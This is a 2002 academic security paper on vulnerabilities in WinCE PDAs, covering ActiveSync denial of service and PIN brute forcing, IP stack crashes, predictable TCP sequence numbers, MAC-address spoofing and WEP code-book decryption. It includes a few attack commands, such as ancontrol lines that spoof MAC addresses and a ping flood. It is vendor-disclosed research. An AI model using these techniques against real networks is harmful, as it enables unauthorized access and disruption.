ActiveSync, TCP/IP and 802.11b Wireless Vulnerabilities of WinCE-based PDAs

Pascal Meunier, Sofie Nystrom, Seny Kamara, Scott Yost, Kyle Alexander, Dan Noland, Jared Crane Center for Education and Research in Information Assurance Security (CERIAS), 1315 Recitation Building, Purdue University, West Lafayette, IN 47907-1315; [email protected]

Abstract Whereas normal computers may be locked in a trusted Researching the vulnerabilities and security concerns of area, portables may be carried into unsafe areas, and may WinCE-based Personal Digital Assistants (PDAs) in an also be whisked away by an attacker in a moment of 802.11 wireless environment resulted in identifying distraction or during a break and replaced after installing CAN-2001-{0158 to 0163}. The full understanding and a keylogger or other trojan program. Therefore, we demonstration of some vulnerabilities would have believe that physical attacks on portable devices are required reverse engineering ActiveSync, which was much more likely than against normal computers; in beyond the scope of this research. Moreover, the WinCE particular, we are concerned about the speed of the IP stack demonstrated unstabilities under a number of attacks which may enable “tainting” the portable device. attacks, one of which produced symptoms in hardware. ActiveSync was created to provide file The inaccessibility of the 802.11b standard synchronization capabilities for WinCE-based PDAs. It documentation was a source of delays in the research; provides both network-based and local (USB or serial) however, we created three proof-of-concept applications synchronization capabilities. The impersonation of a host to defeat 802.11b security. One collects valid MAC or PDA, as well as attacks on the host providing the addresses on the network, which defeats MAC-address- service were considered. However, ActiveSync based restrictions. Another builds a code book using specifications are proprietary (closed) and were known-plaintext attacks, and the third decrypts 802.11b unavailable to us. Therefore, we were limited to probing traffic on-the-fly using the code book. the outside of this black box without being able to Keywords:WinCE, WEP, ActiveSync, wireless, security, provide a comprehensive analysis. 802.11b, vulnerability In an 802.11b wireless environment, several measures and features are supposed to provide some measure of security. These are the SSID (Service Set Identifier), 1. Introduction MAC address restriction, and the wireless encryption protocol (WEP). Networks are identified and segregated Personal Digital Assistants (PDAs) may be vulnerable by an SSID. The SSID can be broadcast using “beacon” to accidents during transport or attacks against the frames. So-called “closed” networks do not broadcast services and protocols used. Networked PDAs may be SSIDs, so the users have to know the name of the vulnerable to a number of TCP/IP attacks, especially network. However, finding valid SSIDs is trivial with resource exhaustion attacks due to the limited resources any network sniffer. Therefore, we focused on MAC provided by the PDA. Other attacks against networked address restriction, and the wireless encryption protocol PDAs would include malicious content downloaded (WEP). Our methods of attack have been found directly or through a service such as avantgo.com, hostile independently by other teams and announced first JavaScript, ActiveX and Java. An aspect particular to through unrefereed channels [1, 2], even though we had WinCE-based PDAs is the availability of independently identified those we used before their synchronization services through the ActiveSync announcements. However, we implemented these attacks protocol over a serial link, infrared or over TCP/IP; and found them effective and practical, contrary to claims therefore ActiveSync can also be attacked. The by the 802.11b chairperson [6]. We also found convenience of PDAs is enhanced by wireless access, implementation errors in 802.11b hardware. which makes them vulnerable to attacks against the wireless standard 802.11b.

Proceedings of the Eleventh IEEE International Workshops on Enabling Technologies: Infrastructure for Collaborative Enterprises (WETICE’02) 1080-1383/02 $17.00 © 2002 IEEE coded factor after every failed connection attempt. 2. Materials and Methods The brute force program was a Visual Basic script that utilized a function called SendKeys(), which sends The initial testbed comprised 3 Aero 1550 Pocket PC keystrokes through the GUI interface. By sending key devices by Compaq, an Aironet card and 2 base stations strokes to the ActiveSync connection application on the AP340 by Cisco (gifts of Microsoft) as well as two PCs PC, it was possible to establish a connection, try three belonging to CERIAS. One PC ran Windows 2000 and passwords and reconect to try it again. Obviously, served as a synchronization host for the handhelds. anyone who understands the internals of ActiveSync can Another was able to boot in either Windows 2000 or directly brute force the 4 required digits in a fraction of Linux Red Hat 6.2; this PC had a PCMCIA card reader the time by avoiding the GUI entirely. The key to this and was used to sniff wireless traffic and as a source of vulnerability is the trust relationship between the PDA attacks against the synchronization host and the Cisco and the host PC. Because the PDA acts as the base station. It was found that the Aero 1550 devices authentication server, it should not be trusting the client were incapable of powering the Aironet card due to PC and the software running on it. The PDA should be incompatible voltages. We later received two PocketPC controlling the exponential backoff, and not the PC. iPaq devices by Compaq, two Ethernet cards and two more wireless cards (Orinoco WaveLan). The iPaqs b) ActiveSync synchronization over a Network were running WinCE 3.0.9348 (Build 9456). (DoS Attacks CAN-2001-0158, CAN-2001-0159)

3. ActiveSync ActiveSync listens on port 5679 of a host PC for a PDA attempting a network synchronization. If a PDA is a) Synchronization over a serial link synchronized through the cradle, port 5679 is closed. The availability of the network synchronization function The most direct ActiveSync connection may be can be enabled or disabled by the user through an option established by placing the device into a charging cradle in the file menu of the host. which is connected to the serial port of a PC. After the We were able to enact a denial of service (DoS) attack initial connection the user at the PC will be prompted to and remotely close the port by establishing a connection authenticate himself/herself if and only if the device is to it and feeding ActiveSync any line that was longer set to require authentication. Authentication for than seven characters. The port stayed closed until the ActiveSync comes in the form of a 4 decimal digit network synchronization option was locally re-enabled personal identification number (PIN) . Should a PDA be on the desktop machine. Anyone with TCP/IP left briefly unattended, it is possible to try to synchronize connectivity to the PC could shut down the service, it in the cradle of a hostile computer. which is potentially anyone on the internet. If the correct PIN is supplied then the device and the Once open, port 5679 stayed open even if network PC compare the files that are to be synchronized and synchronization was disabled. Another DoS attack was transfer them as necessary. If an incorrect PIN number that as long as a connection to port 5679 was established, is supplied, then an error message is displayed and the even if there were no authentication taking place (no user may guess twice more before the connection is traffic), ActiveSync would not allow any other device to broken. To re-establish a new connection, with three synchronize by network or by cradle. This lasted for more attempts, seemed at first to require removing and about 20 seconds at which point the connection was replacing the PDA in the cradle. However, we closed and became available once again. This could also discovered that the unit does not have to be removed be exploited remotely in order to prevent legitimate users physically from the cradle. The connection can be reset from synchronizing. By simply establishing a connection programatically and three more successive tries are to the port, closing it before the 20 seconds elapsed and granted. then re-establishing it again, we could keep the port We were successful in making a proof-of-concept continuously busy, thus making ActiveSync refuse all (unoptimized and slow) brute force attack in the cradle other synchronization requests. by resetting the connection every three password If the protocol specifications and the code had been attempts. We communicated our findings to Microsoft available to us, we would have been able to assess and suggested that an exponential delay be implemented, whether the vulnerabilities were protocol flaws or which would deny for a while new connection attempts implementation problems. to the PDA. The delay would be increased by a hard

Proceedings of the Eleventh IEEE International Workshops on Enabling Technologies: Infrastructure for Collaborative Enterprises (WETICE’02) 1080-1383/02 $17.00 © 2002 IEEE 4. TCP/IP Vulnerabilities necessary to free the allocated memory. 5)No effect: No visible effects were found after a) Random IP packets and DoS attacks running ISIC. However, the effects were highly unreproducible, even In order to test the WinCE IP stack, we used a tool after resending the same sequence of packets, or a subset. named ISIC [4] that generates random IP packets. ISIC The longer we would try to test the iPaq (not necessarily is a suite of utilities to exercise the stability of an IP time but attempts), the less frequently we would observe Stack and its component stacks (TCP, UDP, ICMP et. problems. After much testing and grief, we found that al.). It generates pseudo-random packets of the target there was a memory problem related to when the iPaq protocol. The packets can be given characteristics, e.g., was turned “off” (sleep) for long periods of time. The 40% of the packets generated can have IP Options. The most common time for the Memory Critically Low error percentages are arbitrary and most of the packet fields was just after the iPaq was turned on after a long period have configurable parameters. We sent packets to the IP of being off (several hours); about 27MB (out of 32 MB) stack of an iPaq using both an Ethernet card and a were in use after sending the random packets. As the iPaq wireless (Orinoco Silver 802.11b) card. was reset during tests, the memory reported as being used We were surprised to find that which pseudo-random slowly went down to about 5MB, until effects 1-4 could number generator was used was an important rarely be observed. consideration. Some observed WinCE severe crashes Due to the irreproducibility of the results, we were could not be obtained with a different random number unable to specify the conditions causing each effect. generator. This is most likely due to the fact that a Microsoft was notified of this during summer of 2001. specific sequence of numbers from a generator is needed While we were unable to pinpoint a specific in order to produce a sequence of packets. Other vulnerability, these results suggest a lack of robustness pseudo-random generators may be completely unable to that could be exploited to cause data losses. produce a sequence that another generator can. Finally, we used a hardware random number generator embedded b) Known exploits into an Intel Celeron motherboard, which seemed to be able to produce the entire range of observed effects. No A number of known attacks against Windows application was running on the iPaq while the packets operating systems were run against the iPaq (see were sent to it. Thereafter, the functionality of the Appendix A) on a wireless network, with and without TCP/IP stack was tested by running Internet Explorer, if using encryption (WEP, see part 3). In order to have an possible. open port, the application “vxWeb” (by Cambridge Five test results were randomly observed from Computer Corp) was running on the iPaq, as needed. It sending hundreds of thousands of packets: provided a web server on port 80. The attacks were 1)Loss of Internet capability: the iPaq was no longer compiled on and sent from Red Hat Linux and OpenBSD able to connect to any outside source, however no local machines. Of these, Kod was very effective, disabling programs seemed affected. Shutting off the iPaq did not the IP stack every time. There was a complete loss of restore Internet capability, and a soft reset (pressing the internet connectivity until the iPaq was given a soft reset. iPaq's reset button) was necessary to restore This is caused by an IGMP vulnerability known since at functionality. least June 1999 (CVE-1999-0918). However it was 2)Needed hard reset: All programs froze on the iPaq unknown that it affected WinCE, as this information is and the unit gave no responses. A soft reset was absent from the CVE and databases like ISS’s X-Force at insufficient to restore functionality, and disconnecting the time of this writing. the iPaq's battery via the unit's switch was necessary. This caused a total data loss. c) Vulnerability Scan 3)Internet Explorer application error: Trying to run I.E. produced a “fatal application error” and a soft reset We scanned the WinCE iPAQ for known was necessary to restore the program's functionality. vulnerabilities using Nessus [3]. We found that WinCE 4)Memory Critically Low error: This error message uses a common trivial time dependency algorithm to was present in a window at the end of the ISIC run, most generate its initial sequence numbers. To achieve often with several instances of it on the screen. It stated reliability, TCP uses sequence numbers that keep track of that one or more programs should be closed; yet there the data exchanged during its sessions. During the setup were no programs running at the time. A soft reset was of a TCP connection (the three way handshake), each

Proceedings of the Eleventh IEEE International Workshops on Enabling Technologies: Infrastructure for Collaborative Enterprises (WETICE’02) 1080-1383/02 $17.00 © 2002 IEEE side generates an initial sequence number (ISN) that they (sets the operating mode of the Aironet interface will exchange in order to synchronize their TCP stacks from ad-hoc mode to infrastructure mode) [RFC 793]. If the ISN can be guessed, then a TCP ifconfig an0 up connection can be setup without needing to receive any (brings an0 back online) packets from the other side, which enables IP spoofing ancontrol -S [7] and TCP Session Hijacking [5] attacks. This was (displays settings and associations) given ID CAN-2001-0162, as there was no report that we could find of this WinCE vulnerability at the time of the The last command showed us that the card was discovery. configured correctly for the wireless network The Cisco Wireless Base Station also used a trivial [3bears], but could not get associated. The Cisco algorithm to generate its initial sequence numbers (CAN- base station logs showed that the wireless card had been 2001-0163). It used the 64K rule which increases a denied authorization, proving that the MAC address sequence counter by a constant (usually 128000) every filters were working correctly. Then we changed the second and by 64000 for each new connection. The same MAC address to each one of the test MAC addresses attacks that were discussed earlier could be used against (e.g., Intel below): the access point. ancontrol an0 -m 00:02:B3:11:11:11 5. The 802.11b Standard We then brought up the information screen on the a) MAC addresses Aironet card (ancontrol -S) and it showed the card Restricting association and access to an 802.11b as associated. We also checked the station's log, and it network based on the MAC (hardware) address of the showed that the corresponding MAC address wireless cards is one security mechanism that we (00:02:B3:11:11:11) was authorized and attacked. We created a program, wmacs, that sniffs a associated. In this manner we successfully spoofed a wireless interface and gives the MAC addresses that are broad range of MAC addresses on our Aironet card. currently used on the network. Once a collection of During the process we would occasionally change the allowed MAC addresses has been obtained, using them address to one that we knew wasn't allowed to connect is a matter of convincing the wireless card to use it. We (i.e., 00:02:B3:11:11:21), and the base station studied whether a wireless card could be used to spoof would not allow these addresses to connect. any MAC address, or whether it was restricted to MAC We conclude that our Aironet card could be used to addresses of the same manufacturer, etc... Whereas this impersonate any valid MAC address, and could connect is not highly original research, it needed to be verified to the restricted base station as that address. Some because the wireless hardware is significantly different WinCE drivers restricted the capability to change the from regular Ethernet cards. MAC address; e.g., the WaveLan (Lucent) cards would We setup the base station to restrict incoming MAC allow only multicast addresses to be specified addresses and allow only one representative Ethernet successfully. However, freely available operating address from each range associated to a manufacturer systems had drivers compatible with standard Ethernet (Appendix B). The first 3 bytes represent the company functionality. Therefore, defeating MAC wireless that the product is registered to; for simplicity’s sake we authentication was relatively easy. used “11:11:11” as the last three bytes. This produced an address different from the one given to our wireless b) The Wireless Encryption Protocol (WEP) card at the factory. Therefore, our wireless card should not have been able to associate and communicate with WEP struck us as exploitable due to the combination the wireless network. of a limited space IV (24-bits) with the use of an XOR Then we setup our Aironet card on our OpenBSD operation with a bit stream. The bit stream is uniquely system to connect to the base station: determined by the IV. Therefore, it is possible to build a code book (array) of the encryption bit stream for every ifconfig an0 down IV by doing a known plaintext attack. (brings an0, the Aironet card, offline) In our active attack, one does not need to have a ancontrol an0 -n [3bears] sniffer on the LAN to which the wireless network is (sets an0 to use the SSID [3bears]) connected. Any internet connection may be used by the ancontrol an0 -o 1 attacker to send packets to an IP address (such as a

Proceedings of the Eleventh IEEE International Workshops on Enabling Technologies: Infrastructure for Collaborative Enterprises (WETICE’02) 1080-1383/02 $17.00 © 2002 IEEE broadcast address) on the wireless network. Knowing 6. Conclusions the plain text and the encrypted one by sniffing the wireless network (which can be done at quite a distance Networked Windows CE devices are vulnerable to with directional antennas) allows deducing the some of the same issues as PCs, i.e., flaws in protocols encryption bit stream and building a code book. and implementation problems. Closed source and The completion of the code book is easier when proprietary protocols make it difficult to distinguish hardware such as the Lucent cards increment the IV by which was a protocol flaw and which was an one for every packet sent, rather than using random IVs implementation problem. Security through obscurity (CAN-2001-0160; Lucent was notified on 3/6/01). delays the finding of vulnerabilities and makes their Building a complete code book takes longer because of analysis more difficult. However, the delays result in a random IV repetitions (“collisions”) that do not provide larger installed base of vulnerable devices once the new information. We realize that random IVs allow vulnerabilities are found. Moreover, malicious collisions to happen more frequently [8], so the defender discoverers of vulnerabilities have longer windows is vulnerable no matter how the IVs are determined. during which to exploit them -- perhaps they will even be However, we believe that “collisions” are more difficult the only ones finding them, because they were not limited to exploit than a complete code book, hence the by the economic goals that productive workers must vulnerability. meet. We built two applications, one to collect and build a In addition, there are issues specific to PDAs in a code book, and one to decrypt packets on the fly. Both wireless environment. PDAs have proprietary are available upon request to other accredited security synchronization protocols which require their counterpart researchers. The one that collects pads from an WEP on PCs, and which can therefore be attacked on both network and stores them in a database (pads.db by ends. Moreover, wireless transport exposes both the default) is named cpads. The collection speed was PDA and the infrastructure (including PCs) to several times slower than the maximal theoretical rate; anonymous ranged attacks. Our experiments provided however it demonstrated that building a complete code proof that some of the theoretical wireless attacks were book, even with random IVs, was practical within the practical. limitations of the year 2001 hard drive sizes (20-60 GB, depending on the desired length of the bit stream in the 7. Acknowledgements code book) and on a time scale of approximately a day. A harder to detect passive attack that would sniff We are grateful for Kent Wert's advice and expertise incoming traffic and compare it to the WEP-encrypted with Windows CE, and for Microsoft's funding of this one is also possible, although more difficult. research. The second application was dwep, and sniffed traffic from an encrypted wireless network and performed on- 8. Appendix A: Exploits attempted against the-fly decryption of the traffic and output it either to the WinCE screen or to a file. It performed flawlessly, demonstrating that such attacks are practical. 1) Pingflood.c had no effect. However, giving the following command: ping -f [dest_address] caused the c) Vulnerabilities in 802.11b implementations iPaq to slow considerably when in conjunction with running internet explorer, but the effects only lasted as We found that Cisco 340-series Aironet access points long as the flood was executing. used a subset of the available IV space for WEP encryption. Cisco access points using firmware 11.01 do 2) Killwin (CVE-1999-0153, a.k.a. Winnuke - send not use 6 bits out of 24 (3 bytes) IV for WEP encryption. out of band data to port 139) had no visible effects. The result is a 64 times weaker protection of communications, and makes the collection of pads 3-4) Flushot (Invalid ICMP fragments, Microsoft through plaintext attacks fairly easy. This was Q154174) and Pong (spoofed ICMP broadcast flood) communicated to Cisco (CAN-2001-0161, Bugtraq ID seemed to connect and communicate, but had no visible 2418 ) on 3/6/01, along with the TCP initial sequence effect on the iPaq. number vulnerability. 5) Jolt (CAN-1999-0345). This attack usually locks up a Windows 95 or NT machine or causes it to reboot.

Proceedings of the Eleventh IEEE International Workshops on Enabling Technologies: Infrastructure for Collaborative Enterprises (WETICE’02) 1080-1383/02 $17.00 © 2002 IEEE To recover from the Jolt attack, it is usually necessary to 10. References reboot. Jolt, given a high enough number of packets to send, slowed the system while the packets were being [1] Arbaugh, W. A., Shankar, N., Wan, Y.C. J. (2001) Your received, but had no other effects (it worked basically 802.11 Wireless Network has No Clothes. Department of like the ping flood above.) However, when wireless Computer Science, University of Maryland College Park, encryption was activated, Jolt used 100% of the iPaq's Maryland 20742 [2] Borisov N., Goldberg, I. , Wagner, D. (2001) Intercepting CPU, causing the iPaq to freeze completely for as long mobile communications: the insecurity of 802.11 In: as jolt packets were being sent (this occurred even Proceedings of the seventh annual international conference on without running any programs on the iPaq, including Mobile computing and networking. pp. 180 - 189. ACM vxWeb and internet explorer). It did seem to log at least Press, New York, NY, USA. the last command given during its frozen state (tapping [3] Deraison, R. (2000) Nessus, http://www.nessus.org the start menu while frozen caused the menu to open [4] Frantzen M. (2000) ISIC (IP Stack Integrity Checker), once the jolt attack stopped). We conclude that whereas http://expert.cc.purdue.edu/~frantzen processing the fragmented ICMP packets was onerous to [5] L. Joncheray (1995) A Simple Active Attack Against TCP. the iPaq especially with wireless encryption (WEP), Proc. Fifth Usenix UNIX Security Symposium. WinCE was resistant to the attack. [6] Miller, S.K. (2001) Facing the challenge of wireless security. Computer, Vol. 34 Issue: 7 , July 2001, pp. 16 -18 [7] Morris, R.T. (1985) A Weakness in the 4.2BSD UNIX 6) Nestea (CAN-1999-0257) had no visible effect. TCP/IP Software, CSTR 117, 1985, AT\&T Bell Laboratories, Murray Hill, NJ. 7-10) Teardrop, Octopus, Fawx and Jolt2 [8] Walker J. R. “Unsafe at Any Key Size; An Analysis of the (respectively CAN-1999-0015, opening a large number WEP Encapsulation,” (2000) http://grouper.ieee.org/groups/802 of connections, oversized/fragmented IGMP flood and /11/Documents/DocumentHolder/0-362.zip CVE-2000-0305) had no visible effects.

11) Kod (Kiss of Death). Kod disabled the IP stack every time, exploiting an IGMP vulnerability (CVE- 1999-0918).

9. Appendix B: Tested MAC addresses by company

The company codes below were found at http://standards.ieee.org/regauth/oui/index.shtml:

00:02:2D:11:11:11 Lucent Tech WCND 00:30:6D:11:11:11 Lucent Technologies 00:00:0C:11:11:11 Cisco Systems, Inc. 00:30:78:11:11:11 Cisco Systems, Inc. 00:E0:FE:11:11:11 Cisco Systems, Inc. 08:00:07:11:11:11 Apple Computer, Inc. 00:0A:27:11:11:11 Apple Computer, Inc. 10:00:5A:11:11:11 IBM Corporation 00:50:76:11:11:11 IBM Corporation 00:10:D9:11:11:11 IBM Japan, Fujisawa 00:04:BD:11:11:11 Motorola BCS 08:00:6C:11:11:11 Suntek Technology, Int'l 00:03:BA:11:11:11 Sun Microsystems 00:50:F2:11:11:11 Microsoft Corp. 00:02:B3:11:11:11 Intel

Proceedings of the Eleventh IEEE International Workshops on Enabling Technologies: Infrastructure for Collaborative Enterprises (WETICE’02) 1080-1383/02 $17.00 © 2002 IEEE